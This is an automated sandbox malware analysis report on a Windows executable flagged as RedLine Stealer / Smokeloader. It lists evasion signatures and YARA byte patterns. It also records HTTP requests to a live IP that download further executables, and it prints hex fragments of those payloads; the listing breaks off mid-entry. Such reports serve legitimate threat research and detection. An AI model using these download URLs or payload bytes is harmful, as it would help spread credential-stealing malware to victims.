Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1574107
MD5:	dd44780d69d56d86bd3be9d6ca0f69a9
SHA1:	c9afab3e117153f469723102214a907685a509d6
SHA256:	5cf283b12d73892ee010289b4d554e5b1c7d1aede0a8e6cd0a33415513526b5b
Tags:	exeuser-Bitsight
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

×

Process Tree

System is w10x64

file.exe (PID: 7020 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DD44780D69D56D86BD3BE9D6CA0F69A9)

WerFault.exe (PID: 1712 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 1704 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2609959909.0000000000CEC000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10d0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://80.82.65.70/files/download#

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\svtJDfvf364R4G45effw53J7\Y-Cleaner.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004035B0 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_004035B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B43817 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_04B43817

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 22:09:03 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 22:09:05 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2a 1e 02 28 18 00 00 0a 2a 56 73 0e 00 00 06 28 19 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 4e 02 28 1a 00 00 0a 02 28 1e 00 00 06 02 28 11 00 00

Source: Joe Sandbox View

IP Address: 80.82.65.70 80.82.65.70

Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache

Source: file.exe, 00000000.00000002.2611981318.00000000055A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp
Source: file.exe, 00000000.00000002.2611981318.00000000055A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empS
Source: file.exe, 00000000.00000002.2611981318.00000000055A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/download
Source: file.exe, 00000000.00000002.2609988074.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key=
Source: file.exe, 00000000.00000002.2609988074.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/keyU
Source: file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download
Source: file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109447880.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134573830.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download#
Source: file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download$
Source: file.exe, 00000000.00000003.2057643849.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082783354.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109447880.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2032603186.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134573830.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download0
Source: file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download0/files/download
Source: file.exe, 00000000.00000003.2057643849.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082783354.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109447880.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2007493400.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 